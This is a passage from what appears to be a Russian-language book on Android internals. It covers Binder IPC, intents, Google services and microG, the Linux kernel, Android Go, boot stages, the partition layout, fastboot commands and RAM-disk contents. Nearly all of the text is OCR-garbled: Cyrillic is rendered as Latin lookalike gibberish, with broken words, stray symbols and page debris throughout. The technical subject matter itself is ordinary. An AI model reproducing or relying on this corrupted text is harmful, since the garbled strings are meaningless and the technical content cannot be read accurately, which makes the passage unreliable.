CEepPbE3HO YPE3aHO B BO3ZMOXKHOCTAX.

Taxoke cneayer UMeTh B BUAY, YTO MpPUIIOXKEHHE He OyAeT ype3aHo B MpaBax, €clid OHO
[100aBJIEHO B CITUCOK MCKIIIOYEHHI CHUCTEMBI SHEprocOepexeHUs WK TelneOoH HaXOAUTCA
Ha 3apsjKe.

Binder

Bonpeku pacxoxemy MHeHHI0, Android ¢ caMbIX MepBBIX BepCHi HCIOJIB30BAJ MECOY-
HUUBI A1 W301UMM npuiaoxkeHuid. M peann3oBaHbl OHM OBLTH BecbMa HHTEPECHBIM
obpazoM. Kaxxoe npunoxkeHHe 3aimyckaloch OT HMEHH OTAENBHOTO Mmojib3oBatens Linux
, TAKUM 00pa3oM, HMeJIO JOCTYI TONBKO K CBOEMY KaTalory BHYTPH /data/data.

Jlpyr ¢ Ipyrom M onepauMOHHOH CHCTEMOM MPUIIOXKEHUS! MOTIM OOLLATHCS TOJIBKO Yepes
IPC-mexanu3m Binder, koTopslii TpeOOBan aBTOPU3ALMIO Ha BBHINOJIHEHHE TOTO WIH UHO-
ro aeicteus. B Android Binder ucnonb3oBaics M mpomo/DKaeT HUCMONB30BaThCs Oyk-
BAJIBHO IS BCEro: OT 3alyCKa MPUIOKEHUH A0 BbI30Ba (YHKUMIA ONEpalMOHHOMN cHC-
TEMBI.

Android cnpoeKkTHpOBaH TakK, YTO MOJIBb30BATENM U JaXKEe MPOrpaMMHCTHI HE NOTajbiBa-
I0TCS O CyILeCTBOBaHMM MexaHu3Ma Binder. Ecnu, HanpuMep, nporpaMMHUCT XO4eT CKO-
nUpoBaTh TEKCT B Oydep oOMeHa, OH MPOCTO MOJIYyYaeT CChUIKY Ha OObEKT-CEPBUC H BbI-
3bIBaeT OJUH U3 ero MetonoB. [loa kanoTom ¢peiiMBOpk nMpeobpasyeT 3TOT BBI3OB B CO-
obwenne Binder u ornpapnser ero B AApo 4yepe3 (paiisi-ycTpOHCTBO /dev/binder. ITO
coobLIeHHe nepexBaThIBaeT Service manager, KOTOpPbIii HAXOAMT B CBOEM KaTajlore cep-
BUC Oydepa oOMeHa, NpoBepseT MOJTHOMOYMS MPUIOKEHHUS Ha OTIPABKY eMy COOOLIeHHH
U, €CJIM OHO UMeEET Bce HeoOXOAMMBIE MpaBa, nepeaaer cooduieHue emy. [locne nmomyye-
HUsA U 00paboTku coobiuenus cepBuc Oydepa oOMeHa OTMpaBisSeT OTBET, UCMOJIBL3YS BCE
Tot xe Binder.

Kpome crangapTHbIX npoBepok nosHoMouui Service Manager Takoke npoBepsieT, UMeeT
JIM TIPWIOXKEHHUE MPABO Ha CO3JaHHE CEPBHCA U MOXET JIM OHO UCIIOJIB30BAaTh Pl «Omac-
HBbIX cepBHCOBY». M mepBoe, 1 BTOpoe OCYIIECTBIAETCS C MOMOLIBIO NPOBEPKH 3HAYEHHS
UID (umentudukatop mnonb3oBatesns) Bbi3biBatouiero npouecca. Eciu UID 6Gombiue
10000 — mpunoxxeHHe He UMEET MpaBa perucTPUPOBATh HOBBIA CepBUC (BCE CTOPOHHUE
npuioxeHus B Android nonydator UID 6onsume 10000), a ecnmu UID Haxoautes B paii-
oHe 99000-99999, npunokeHHe Moay4aeT OrpaHHYeHHE Ha MCIIOJB30BAHHE OMACHBIX
cepucoB. IMeHHO B 3Ty rpynny nonajatrot Bijiaaku 6payszepa Chrome.

DTOT Xe MeXaHW3M NPHUMEHSETCS U U1 HECKOJIBKO IPYrUX Lenel: ¢ ero moMouplo CUC-
TeMa OMOBELIAET MPHJIOKEHHUS O CHUCTEMHBIX COOBITHAX, TAKUX KaK BXOAALUMHA BBI3OB,
npuweawee SMS, noaknoueHne 3apsaaku U T. A. [IpunoxeHus noayyaroT cooOlLeHUs U
MOTYT Ha HUX pearrpoBarts (puc. 1.4).

Ota ocobeHHoCcTh fana Android mIHMpokHe BO3MOXKHOCTH aBTOMATU3aLMH, O KOTOPBIX MBI
3HaeM Onarojaps TakMM NpHIOXKeHUsM, kak Tasker, Automate unu Locale. Bce 3Tu npu-
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NoXxXeHus AocTynHbl 11 Android M cerofHs, pa3Be YTO HEKOTOPBIE OMACHBIE BO3MOXK-
HOCTH, TaKHe KaK BKIIOYEHHe/BBIKIIOUEHHE peXHMa IoJ1eTa, Tenephb 3anpelieHs! L 1c-
T0JIb30BaHHUS OOBIYHBIM MPHIIOXKEHHUSAM.

Puc. 1.4. Paboty Binder o6ecneuusalot apaiisep B sape Linux n Service Manager

Cucrema onoBeeHHs 6a3zupyeTcs Ha MHTeHTax (intent), crieLManbHOM MeXaHU3ME, pea-
Jnu3oBaHHOM noBepx Binder. MHTeHTHI MpeaHa3HaueHb! A1 oOMeHa uHpopMaLHeit Mex-
oy npunoxeHusMU (und OC M NpUIoKEHUAMHU), a TaloKe 3aITycka KOMIIOHEHTOB MPHIIO-
xeHui. C MOMOLIBIO HHTEHTOB MOXKHO OTOBELLATh MPHIOXKEHHS O COOBITHAX, MOMPOCHUTD
CHCTEMY OTKPBITh NMPHIIOKEHHE A8 06paboTKH OnMpeneNeHHbIX THUIOB NaHHBIX (HampH-
Mep, 4TOOBI OTKPBITh OMpeeeHHYIO CTpaHHLy B Gpasyepe, JOCTaTOYHO MOCJaTh LMPO-
KOBEILATEeNIbHBIA HHTEHT CO CCHUIKOW Ha CTPaHMIy, H Ha HEro OTKJIMKHYTCS BCE MPHIIO-
»eHHs, crocoGHble 0ToOpaxkaTh BeG-CTpaHHLbI, THO0 TONBKO AeonToBbIH Gpaysep) wiu
MPOCTO 3ayCTHUTh KOMIOHEHT TOrO WM MHOrO NMPHJIOKEHUA. B 4acTHOCTH, 3amyck npH-
noxxeHuit B Android ocyuiecTBiseTcs He HaMpsAMYIO, a C TOMOLIBIO HHTEHTOB.

K coxxanenuto, kak H ci1yx6bl, MHTEHTBI cTany npobnemoit ans Google u nonb3oBarene
Android. [leno B TOM, 4TO LIMPOKOBELLATENbHBIE HHTCHTDI, HCTIOIb3YEMbIE M1 YBEAOM-
JeHUs MPUIOXKEHUH O COOBITHAX, MPUXOAAT Cpa3y KO BCEM MPHIOXKEHHAM, KOTOpble
3asBUJIH, YTO CMOCOOHBI Ha HUX pearupoBaTh. A 4TOOBI MPHIOKEHHE CMOIJIO Cpear-
poBaTh Ha WHTEHT, €ro HaJo 3amycTuWTh. KapTMHa momyuaercss Takas: Ha cMapT¢oHe
ecTb 20 MpUIOXKEHHWH, KOTOpble MOTYT pearupoBaTb Ha MHTEHT android.net.conn.
CONNECTIVITY CHANGE, M TMPH KaXKAOM MOIKTIOYEHHH/OTIIIIOYEHHH OT CETH CUCTEMaA 3alyc-
KaeT 3TH MPUJIOXKEHHUSA, YTOOb! OHM CMOIJIM CPearupoBaTh Ha HHTEHT.

Google ucnpasuna 3to HegopazyMenre B Android 8.0. Teneps npuioikeHHs MOTYT peru-
CTpUpoBaTh OOpabOTYMKM LIMPOKOBELIATENbHBIX WHTEHTOB TOJIBKO BO BpEMs CBOEH
paboThl (3a HEOONBLIMMHU UCKITIOYEHUAMH).
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Cepsuctr Google

Google npenogHOCUT OTKPBITbIA MCXOAHBbIA KOA KaK OAHO M3 BaKHEHIUHMX AOCTOMHCTB
Android. 310, KOHeUHO e, He coBceM Tak. C oaHOH cTOpoHbI, koa Android meicTBu-
TEJIbHO OTKPBIT, U MMEHHO MO3TOMY Mbl UMEEM AOCTYN K TaKOMY KOJIMYECTBY pa3HOOO-
pa3HbIX kacToMHbIX npouwrBok. C npyroii cropoHsl, co6paB Android U3 oduuHaNbHBIX
MCXOIHHKOB, MOJIb30BaTe b MOJYYHUT cUCTeMY Oe3 IBYX BaXKHBIX KOMIOHEHTOB:

O HeKoTOpbIX ApaiBepOB, UCXOAHBIE KOAbI KOTOPLIX ABIAIOTCA KOMMEPUYECKOMH TalHOIA;

O cepsucoB Google, kOTOpble HYXHbI B NEPBYIO OYepeab AJs MONyUYeHHs AOCTyNa K ak-
KayHTy, 3anycka Google Play n obnauHoro 6ekana.

Cepsucsl Google (Google Mobile Services) Taioke OTBeyatOT 3a MHOTHE ApYyrue BELIH,
BKJIIOYAs noanepxky push-yeenomnenuid, Instant Apps, Google Maps, moctyn k KajeH-
Japlo, onpejeieHUe MECTOMONOXKEHHMS 10 coToBbIM BbilikaM U Wi-Fi poyrepam, mexa-
HU3M Smart Lock, nossonstoumi pa3610kMpoBaTh yCTPOWCTBO B 3aBUCUMOCTH OT HEKO-
TOPBIX YCJIOBHI, U MHOTO€E ApYroe.

B coBpemeHHbIX Bepcuax Android cepeucbl Google (puc. 1.5) B3sau Ha ceOs HaCTONBKO
GonbLiyo YacTh paboThl, YTO XHTb 06€3 HUX OKa3blBae€TCS XOTb MU BO3MOXKHO, HO OY€Hb
npo6iaeMaTuyHo. A C HHMH TOXE HEBECEIO: MMHUMalbHBIA BapHaHT MakeTa gapps
(koTopblii comepxuT Tonbko cepBuchl Google n Google Play) umeer pasmep moutu
100 M6aiiT, a camu cepBHCBHI cllaBATCA CBOeH JIOOOBBIO K OnepaTHBKe M 3apaay Oarapeu.

Puc. 1.5. CkauaTb nakeT ¢ cepucamu 1 npunoxeHnamn Google ans KaCTOMHORW NPOLLUMBKN
MOXMO C CaiiTa opengapps.org (CroBo «Open» He 03HAYaeT, YTO OHU OTKPbITHI)
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A elle OHH 3aKpbITHI, T. €. 0 TOM, YTO OHH MOTYT J€J1aTh, 3HAET TOJILKO CaMa KOpropauus
Google.

HmeHHo nosToMy Ha cBeT nosiBuics npoekt microG (https://microg.org/), 3aga4a koto-
poro — BOCCO3/1aTh CaMblii BakKHbIH (YHKLUHOHaN cepBUCOB Google B OTKPHITOM Koze.
Ve ceityac microG no3Boss€T MOMYYUTh AOCTYN K CBOEMY aKKayHTY, aKTHBUPOBAaTh
push-yBegoMieHHs M onpenesieHHe MECTOMOJOXKEHHs MO COTOBBIM BhbIliKaM. U Bce 310
npu pasmepe B 4 MOaiiT U MouTH MOJNHOM OTCYTCTBHMM TpeOOBaHHMi K orepaTMBke W
pecypcy barapew.

V npoekTa ectb codcTBeHHas coopka npounBkH LineageOS (https://lineage.microg.org/),
KOTOpast U3 KOopoOkH BkJtouyaeT B ce6s MicroG u Bce HeoOXoauMbIe i ero paboThl Mo-
nudukanuy.

fAapo Linux u paHTaum

Android ocHoBaH Ha aape Linux. Slopo ynpasnser pecypcamMu cMapT¢doHa, B TOM YHcCIie
JOCTYIIOM K JK€JIe3y, ONEepaTMBHON M NMOCTOSHHOM MaMATHIO, 3alyCKOM, OCTaHOBKOH H
MEPEHOCOM MPOLIECCOB MEXY SAPaMHU NpolLieccopa ¥ MHOTMMH JpYTrMMH 3aadyamu. Kak
1 B moboii npyroii OC, sapo — 3to cepaue Android, LeHTpanbHas 4actb, 6€3 KOTOpOii
BCE OCTaIbHOE pPa3BaJUTCA Ha 4acTH (puc. 1.6).

Hanunuue sppa Linux, a Takke yacTHYHO coBMecTMMOH co craHgaptoM POSIX cpenst
UCMOJIHEHHS (B MEpBYIO ovepenap 310 OubGnuoreka bionic, OCHOBaHHas Ha peanu3alUM
cTaHaapTtHoi OubOnuorexkn s3pika Cu uz OpenBSD) pmemaer Android coBMecTUMBbIM
¢ npunoxenusmMu ansd Linux. Hanpumep, cucrema ayreHTHMKAUWH wpa supplicant,
npuMeHsieMas Aas noakmoueHus k Wi-Fi ceTsM, 1o HenaBHero BpeMeHH ObUla TOYHO
Takas xe, kak B mobom auctpubytuBe Linux. PanHue Bepcun Android ucnonb3oBanu
craHnaapTHbiii bluetooth-crek Linux nox Ha3zBaHuem bluez (nozxe ero 3aMeHWIH Ha
peanuzaurio ot Qualcomm nox Ha3zaHueM bluedroid). B Android ectb cBos KOHCOMB
¢ HaGopoMm craHgaptHeix UNIX/Linux koMmaHp, peaiu3oBaHHbIX B HaGope Toybox
(http://www.landley.net/toybox/), u3HauaibHO cCO34aHHOM AJiA BCTpauBaeMbix Linux-
CHCTEM.

BOoJIBIIMHCTBO KOHCOJIBHBIX MPUJIOXKEHHA, HAMUCAHHBIX 4718 Linux, MOXHO NOPTHpPOBaThH
B Android mpocToii nepekoMnuIsiLMed C MOMOLIBIO Kpocc-KoMnuiasTopa (riaBHOE —
HCIOJIb30BaTh CTaTUYECKYIO KOMITWIIALMIO, YTOObI He MONy4YHUTh KOHQUIMKT O6HbanoTek),
a MMes Npasa root Ha yCTpOiCTBe, MOXHO 0€3 BCAKHX MpoOJIeM 3amyCTUTh MOJTHOLECHHBIH
auctpubytue Linux (puc. 1.7). EanHcTBeHHas npobnema 3akiioyaercs B TOM, YTO J0OC-
Tyl K HEMY MOXHO OyzeT monay4urtsb JIMOO yepe3 KOHCOJb, ubo ucnonan3ys VNC-co-
€MHEHHE.

Android Go

B paznene, nocBsieHHOM cityk06aM, Mbl 00cyxaanu, kak Google 60peTcst ¢ TOKCHYHBIMU
NPWIOKEHUAMH, 3710ynoTpebisomrMu pecypcaMu cMaptdona. Bece Metomsl GopbObI
OCHOBaHbl Ha orpaHu4eHusx, npuyeM y Google ects coopka Android ¢ eme GonbLIMMU
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Puc. 1.6. Cnoenbivt nupor Android
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Puc. 1.7. Crapbiit 406pbIt mc, 3anyuieHHbli 8 Android

orpaHnuyeHuamMH. OHa HocuT uMs Android Go M nmpenHa3HayeHa B MepBYIO ouepeab s
ycrpo#cTs ¢ 1 I'6 onepaTuBHOM NaMsATH ¥ MEHbLLE.

Kitouesbie otinnunsg Android Go ot nonHoueHHoro Android:

O EauHcTBEeHHOE 3aMeTHoe nonab3oBaremo oTiauude Android Go oT 00bIYHOro
Android — au3aiiH 3kpaHa 3amyleHHbBIX MMPUIOKEHHH, KOTOPbIi MOKa3bIBAET BCETO
YeThIpPE MOCNEIHUX MPUIOKEHHUS.

O B Android Go oTKIIOYEHBI HEKOTOpble HEHYXHble OONBIUIMHCTBY MOJb30OBaTENEMH
¢ynkunn: Daydream VR, ¢yHkuus pazaenenus 3kpaHa, nogaepxka Android Auto u
Android Wear, Android for Work.

3 o ymonuyanuio B Android Go oTkIIOYEHO WH(pPOBaHUE, OMHAKO HEKOTOpPBIE YCTPOH-
CTBa MO3BOJIAT €r0 BKJIIOYHTb.

O Android Go ropa3no 6osee arpeccMBeH B YHHUTO)XXEHHH (POHOBBIX NMPHIOKEHHUH (OH
cTapaetcs yOpaTh U3 NaMATH BCe, YTO HE CBA3AHO C CaMOM OMepalMOHHON CHCTEMOR).

3 B Android Go no ymon4anuio BkIoYeH ZRAM, ckuMaloluil AaHHbIE B ONepaTHBHOM
NaMATH U1 €€ IKOHOMHH.

O Hexkoropblie npenycraHoBieHHble npuiokeHus Android Go — 310 BeG-npHIoKeHHS.
Hanpumep, Gmail Go u Google Maps Go — sto WebView, B KOTOpoM OTKpbIBaeTcs
HanucaHubii Ha HTMLS/JS untepdeiic; npuuem Google Maps Go Becur 1 Mbaiit,
a Gmail Go 6onblie ctaHgapTHOro npuaoxenus Gmail.

O Yacte npunoxeHudt u3 kommiekta Android Go cunbHo ypesansl: YouTube Go He
NnoaAep>KUBaeT KOMMEHTApHUHU M HE MO3BOJAET CTaBUTD Jaiku, Assistant Go He UMeeT
KaKMX-TM00 ONuUMiA; Apyrue, Ha060pOT, NPEACTABIAIOT NOMHbIH (yHKUHOHaN: Google
Maps Go nouTH B TOYHOCTH MOBTOPSET OPUTHHAIBHOE MPHIOKEHHE.



FMMABA 2

OT KHONKU BKNFOMEHUA
nao pabouero ctona

qumuﬁ cnocob IMOHATH, KaK pa60'rae1' onepalroHHas CUCTEMA, — HU3YYHUTh NMPOLECC €€
3arpyskHu. B HEKOTOPBIX CTy4yassX CACJIATh 3TO 3aTPYAHUTEJIBHO, T. K. KO CHCTEMBI MOXKET
ObITh 3aKpBbIT, HO B CJIy4ae Android MBI MOXEM H3Yy4YUTh BCIO CUCTEMY BAOJIb H IMNOMNEPEK.
B sT0it rnaBe Mol TNIOrOBOPHUM O TOM, KaK BBIIIOJIHAETCA 3aITyCK OC u xakue coObITHA
MPOUCXOIAT B NMNPOMEXKYTKE MEXKIY HAXKATHEM KHOIIKHA NMHUTAHUA H NOABJICHHEM pa60qero
CTOJI1a.

[MormyTHo s 6ymy naBaTh MOACHEHHMSA OTHOCHTENIBHO TOTO, YTO Mbl MOXEM HM3MEHMTHb
B 9TOMH Lleroyke cCOOBITHH M Kak pa3paOOTYMKHU KAaCTOMHBIX NMPOIIWBOK MCHONB3YIOT 3TH
BO3MOXKHOCTH /U1 pead3allvi TaKuX Belle, kak TIOHMHr napameTpoB OC, pacuupeHue
NPOCTPaHCTBA [UIS XPAHEHUS MPUIIOKEHHUH, MOAKITIOYEHHE SWap, pa3IH4HbIX KaCTOMH3a-
UMl ¥ MHororo apyroro. Bcio 3Ty uHpoOpMaumio MOXHO HCMONb30BaTh Ul CO3JAHUA
COOCTBEHHBIX NPOLIMBOK U pealn3aliii pa3IHyHbIX XakoB U MOAUPHUKALIUH.

War nepetii. Aboot u Tabnuua pasnenos

Bce HaunHaercs ¢ 3arpy3uuka. [locne nogauu nMUTaHUA CHCTEMa HAYMHAET CBOKO XKH3Hb
¢ ucronHeHus koaa boot ROM, 3anucaHHOro B MOCTOSHHYO, HEMEpe3anuchiBaeMylo Nna-
MATb ycTpoiicTBa. Boot ROM wusBnekaer u3 NAND-namatu ycTpoiicTBa 3arpy3uMk U
nepeaaer ynpapieHHe eMy. Yaile Bcero posb 3arpy3udka BBINOJIHSET 3arpy3duk aboot
CO BCTPOEHHOM nojaep kol nmporokona fastboot, Ho mpousBoaUTENE MOOWIBHOTO YHIa
WM cMapTdOHa/TUTaHIIeTa UMEET NMpaBo BHIOpATh 1000 Apyroit 3arpy3yk Ha ero BKYC.
Tak, Hanmpumep, kommaHus Rockchip wucnonb3yer coOCTBEHHBIH, HECOBMECTHMBIi
¢ fastboot 3arpy3uuk, Ans nepenporpaMMHpOBaHMA U YIIPABJIEHUS KOTOPbIM MPUXOJUTCS
MCITIOJIB30BaTh NMPONpPHETapHbIe HHCTPYMEHTHI.

IMporokon fastboot, B cBol0 ouepenp, npeacTaBnseT coboil CUCTEMY YIpaBIE€HHUS 3arpys3-
ypkoM c¢ 1K, koTopas nmo3BonseT BBHINOJHATH TaKHe NEHCTBUSA, Kak pa3OiIoOKUpOBKa 3a-
rpy34dKa, POIIMBKA HOBOTO SJpa M recOVery, yCTaHOBKa MPOLIMBKH U MHOTHE ApYTHE.
Cwmbicn cymecTBoBaHUA fastboot B TOM, 4TOOBI MMETh BO3MOXXHOCTH BOCCTaHOBHMTH
cMapT(oH B HAYAJILHOE COCTOSTHHE B CUTYaLMH, KOTZa BCe OCTalIbHble CPeaCcTBa He pabo-
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taioT. Fastboot octaHeTcs Ha MecTe, Jaxe e€clid B pe3yJibTaTe SKCIMEPUMEHTOB Thl CO-
Tpelb co cMapT¢OoHa ONEPALIUOHHYIO CHCTEMY U JJaHHBIE TECOVErY.

IMoyuunB ynpasiieHue, aboot npoBepseT TabaMIly pa3feioB U MepeaaeTr yrnpaBleHUe Al-
py, NPOIIUTOMY B pa3ziesl ¢ MMeHeM boot, mocie yero sApo HauMHaeT 3arpy3Ky JMOo
Android, mTH00 KOHCOJIM BOCCTaHOBJIEHHS.

NAND-namsats B Android-ycTpoiicTBax mojeneHa Ha ceMb YCIIOBHO-00S3aTeNbHBIX pa3-
nenoB. HekoTopble W3 HUX XyOiaMpYIOTCs, €Clii yCTPOHCTBO UCHONB3YET TaK Ha3blBae-
Myto A/B-pa3meTky pas3nenoB, KOra Ha HEM OJHOBPEMEHHO YCTAHOBJICHBI [BE KOIHH
OMepaLMOHHON CHUCTEMBI, KOTOpbIE MEHSAIOTCA MecTaMH NpHu o6HoBiaeHnH (06 A/B-pa3-
MeTKe MBI HOAPOOHEE MOrOBOPHM YyTh N03ke). BOT 3TH pazaensi:

O boot — comepxur aapo ¥ RAM-auck, Ha yctpoiicTBax ¢ A/B-pa3MeTkoii Takke co-
JIeP>KUT KOHCOJIb BOCCTAHOBJIEHHUA (recovery);

O recovery — KOHCOJIb BOCCTAHOBJICHHS, COCTOMT M3 51/ipa, Habopa KOHCOJBHBIX MpH-
JIOXKEeHHI M (aiina HacTpoek, pa3fes OTCYTCTBYET Ha yCTpoicTBax ¢ A/B-pa3MeTKoii;

O system — conepxut camy OC Android, cuctemMHble 6M61MOTEKH, CHCTEMHBIE MPHIIO-
)KEHHUS, CTaHIAPTHbIE PUHITOHBI, OO0 M T. A.;

O cache — pa3aen mpegHa3Ha4yeH Ul XpaHEHHS KELIMPOBAHHBIX JAHHBIX, HalpUMep
¢aiina 0OHOBNEHHUSA, OTCYTCTBYET Ha yCTpoicTBax ¢ A/B-pa3MeTkoif;

O vendor — conepXUT apaiiBepbl U Bce HEOOXOAMMBIE MPOCIOHKH MUl paboThl € «Ke-
JIe30M»;

O userdata — cofepXXHUT HACTPOIHKH, MPHIIOKEHUA U aHHBIE MOTB30BATENS;

O vbmeta — cneunansHeiii pazgen aaa Android Verified Boot 2.0, conepxxaiuuit koH-
TPOJIbHbIE CYMMbI KOMITOHEHTOB CHCTEMBI.

KpoMe HUX Taioke MOTYT CyLIECTBOBATh U APYTHE pa3/ielibl, OHaKO obIas pa3MeTKa oIl-
pelneniseTcs elle Ha 3Tarne NpOeKTHPOBaHUA cMapTdoHa (puc. 2.1).

Puc. 2.1. Yactb koaa 3arpy3uuka, onpeaensiowas tabnuyy pasaenose

OcobeHHo MHTepeceH paszen misc. CyliecTByeT NMpeAnonaoKeHHUE, YTO U3HAYAIbHO OH
ObUT CO31aH A1 XPaHEHHUs Pa3IUYHbIX HACTPOEK HE3aBUCHMO OT OCHOBHOHM CHCTEMBI, HO
B JIaHHbI MOMEHT MCIOJIb3yeTCs TOJBbKO /IS OHOM LIe/M: yKa3aTh 3arpy34uKy, H3 KaKo-
ro pasfena Hy>HO IPY3UTh CHCTeMy: boot WIIM recovery. DTy BO3MOXHOCTb, B 4aCTHO-
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CTH, Ucnonb3yeT npuiokeHie ROM Manager nns aBromatHyeckoil nepe3arpy3ku CHUc-
TeMbl B recovery ¢ aBTOMaTH4eCKOM k€ YCTaHOBKOW mpoluuBkH. Ha ee e ocHoBe Obu1
nocTpoeH MexaHusM ABoiHo# 3arpy3ku Ubuntu Touch, xoTopas npomunsaer 3arpy3uuk
Ubuntu B recovery 1 no3BojsieT yNnpaBisaTh TEM, KaKyl0 CUCTEMY IPYy3UTh B CIEIYIOLIHIA
pa3. Ctep pazaen misc — 3arpyxxkaercsi Android, 3amoJIHWI JaHHBIMM — 3arpy>KaeTcs
recovery... T. €. Ubuntu Touch.

Yro6sl momyunts goctyn k fastboot, Heodxogumo ycranoBute Android SDK, noakmo-
uutk cMapT¢oH Kk [1IK ¢ moMouipio kabens U BKIIOYHTH €ro, 3axaB 006e KHOMKHU MPOMKO-
ctu. [locne atoro ciaexyer nepeHTH B Moakartayor platform-tools BHyTpM SDK u 3amyc-
THTb KOMaHLy:

fastboot devices

Ha JKpaH 6y11eT BBIB€ICHO UMHA yCTpOﬁCTBa. l]pyme AOCTYIIHbBIE KOMAaH/1bl, JOCTYIIHBIC
B OTOM pEXHUME!

3O fatsboot oem unlock — pa36nokupoBka 3arpy3yvka Ha ycTpoicTBax Nexus;
O update ghaiin.zip — ycTaHOBKa NPOLINBKHY;

3 flash boot boot.img — npowuBka obpa3a boot-pazaena;

3O flash recovery recovery.img — npoluBka obpa3a pasaena recovery;

O flash system system.img — npouMBka o6pa3a CUCTEMBI;

3 boot recovery.img — 3arpy3ka obpasa recovery 6e3 MpOLIMBKH;

O oem format — BOCCTaHOBJEHHE pa3pyLLEHHOMN TabMHILIBI pa3elioB;

O reboot — nepesarpy3ka.

Lar sropou. Paspen boot

B cnydae orcyTcTBHS «daara 3arpy3ku B recovery» B paszieNie misc 3arpy34dK Nepeaaet
yInpaBjieHHe KOy, pacloloXXeHHOMY B paszeinie boot. ITo He YTO UHOE, Kak Aapo Linux;
OHO HAaXOAMTCA B Hayajle pasjena, a cpasy 3a HUM cnenyeT yNaKkoBaHHBIA ¢ MOMOILBIO
apXUBaTOPOB Cpio U gzip obpa3 RAM-aucka.

B tepmunonorun Linux RAM-auck — 3T0 cBOero pona BUPTYaJIbHBIH JKECTKHH IMCK,
CYLIECTBYIOLLHUI TOJIBKO B onepaTUBHOHN namatH. B Android oH ucnons3yercs nis pas-
HbIx Lesieil. M3HadansHO B RAM-aMcke pasMellancs cBOero poja ckelieT onepalroHHOM
CUCTEMBI: HY)XHbIE IUI1 Ha4yaJbHOM 3arpy3Kd Katajoru u Qaiibl HHULManu3auuy. Sapo
noaxmoyano RAM-anck B kauectBe KOpHA (ailyoBOi CUCTEMBI, a Jalee y)Ke K HeMy
MOAKTIOYAINUCH APYTHE pa3Acibl.

Ilpn nosiBnenun B cenpmoii Bepcun Android A/B-pa3zmerku HeoOxogumocts B RAM-
JMCKe OTnajia, U HHkeHepbl Android pemmin UCoNb30BaTh €ro A1 XpaHEHHS KOHCOJIU
BOCCTAHOBJIEHHS (BMECTO HCIMOJb30BaHUS OTAENBHOro pasnena recovery). OQHaKo eciu
MPOU3BOJAMTENb MO KAKUM-TO MPUYHHAM HE MOXET M/IM HE XO0YeT HCIMOJb30BaTh
A/B-pazmetky, RAM-auck mno-npexkxHeMy HCHONb3yeTCs Ui HaYalbHOH 3arpy3ku
Android, a KOHCO/Ib BOCCTAaHOBJIEHHS] XpaHUTCS B pa3/ielie recovery.



30 YACTb I. nasa 2

Knaccuueckoe HanonHenue RAM-aucka BBIFISIUT IPUMEPHO TaK:

O data — karajior s MOHTHPOBaHUA OJHOMMEHHOIO pa3jiena,

dev — ¢aiinbl ycTpoHCTB;

proc — croa MoHTHpYyeTcs procfs;

res — Habop u3o0paxeHu# ans charger (cM. Hipke);

bin 1 sbin — HaGop MOACOOHBIX YTUIIUT M AeMOHOB (HampuMep, adbd);
Sys — ciozla MOHTHpYeTcs sysfs;

system — KaTasior 111 MOHTHPOBAHHS CUCTEMHOTO pa3ziea;
build.prop — cucTeMHble HaCTPOMKH;

init — cucTeMa MHULIMAIU3ALIMH,

aaogaogooooaaQ

init.rc — HacCTPOHKH CHCTEMbI HHHLIMATU3ALIH;
O ueventd.rc — HacTpoiiku JeMoHa uventd, BXOIALIEro B COCTaB init.

OTO M ecTh CKeNleT CHCTEMbl: HabOp KaTaJloroB M CHCTéMa WHHLHAIH3ALMH, KOTOpas
3aliMeTCs BCcel ocTanbHOM paboToi 1o 3arpyske cucrembl. B yctpoiictBax ¢ A/B-pas-
METKOH U B YyCTPONCTBaX, MCIOJB3YIOLUIMX PEXUM system-as-root, BC€ 3TH KaTaJord U
(akibl HaXOAATCA BHYTPH CHCTEMHOTO pa3zieia, HO MX CMBIC OT 3TOr0 He MEHAETCA.

LIeHTpasIbHBIA 3/1EMEHT 34€Ch — MCTONHAEMBIR (aiin init M ero KOHQHr init.rc, 0 KO-
TOPOM Mbl TIOFOBOPHM MO3Xe. A Moka s Xoduy o6paTHTh BHUMaHHe Ha ¢aii ueventd. rc, a
TaKXXe KaTaloru sbin, proc U sys.

®aiin ueventd.rc NpeACTaBIsieT coO0H KOHGHT, onpeaensatolHi, kakue ¢ainbl yCTpoHCTB
B KaTajore sys JO/DKHBI ObITh CO3QaHBI Ha 3Tarne 3arpy3ku cucTeMbl. B OCHOBaHHBIX Ha
aape Linux cucteMax AOCTYN K (oKee3y» OCYyLIECTBISAETCH depe3 crieuraibHbie (aiiibl
BHYTPH KaTaJlora dev, a 3a UX co3gaHue B Android oTBeyaeT 1eMOH ueventd, ABIAIOLLMHACS
4acThio init. B HOpManbHO#M cuTyauu OH paboTaeT B aBTOMaTHYECKOM peXHMe, NMPUHHU-
Masi KOMaHJbl Ha co3fiaHue (aiIoB OT Aapa, HO HEKOTophle (paiinbl HeoOXoaUMO co3na-
BaTh cCaMoCTOATE/IbHO. OHM MepeUuHcIeHbl B ueventd. rc.

Katanoru bin u sbin B cTokoBoM Android comep)kaT yTHINTBI KOMaHOHOM CTPOKH, CHC-
TEMHbIE CEPBHCHI U UCTPYMEHTBI, B UUC/IE KOTOPBIX adbd (ADB Daemon), koTopsiii oTBe-
yaeT 3a oTnaaky cuctembl ¢ ITIK. OH 3amyckaeTcst Ha paHHeM atane 3arpy3ku OC u mno-
3BOJIAET BBIABMTH BO3MOJXKHBIE Mpobiembl Ha 3Tane WHUUManM3auuun OC. B kacToMHBIX
NpOIUMBKAaX B 3TOM KaTalore MOXHO HaHTH MHOXECTBO APYrHX ¢aiioB, Hanpumep
mke2fs, KOTOPbIH MOXET MOTpeboBaThCs, €C/IM pa3fensl HeobxoauMo mepedopMaTHpo-
BaTh B ext3/4. Tawke Moaaepbl 4acTO MoMeLaloT TyAa busybox, ¢ noMowiplo KOTOpOro
MOJKHO BBI3BaTh COTHH Linux-komaHz.

Karanor proc ans Linux craHgapreH, Ha CleAylOLIMX 3Tanax 3arpy3kH init NOJIJIFOYMT
K HeMy procfs, BHpTyanpHyl ¢aiiioBylo cHUcTeMy, KOTOpas MNpeaoCTaBIseT AOCTYIN
K HHpopMauun o6o Bcex mpoueccax cucteMbl. K karanory sys cucTeMa NMOAKTIOYHUT
sysfs, OTKpBIBAIOLLYIO JOCTYM K HHGOPMALIMH O «Kese3e» U K ero HacTpoiikam. C momo-
b0 Sysfs MOXKHO, HaNmpHUMep, OTMPaBUTh YCTPOHCTBO B COH WIH U3MEHHUTh MCIOJb3ye-
MBI arOpPUTM HeprocOeperxeHuU.
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®aiin build.prop NpeaHa3HaueH IS XpaHEHHS HHU3KOYpPOBHEBBIX HacTpoek Android.
[To3xe cucTeMa OOHYJIMT 3TH HAaCTPOHKHM M MEpE3anuIleT UX 3HaYEHUAMH M3 HeIOCTYT-
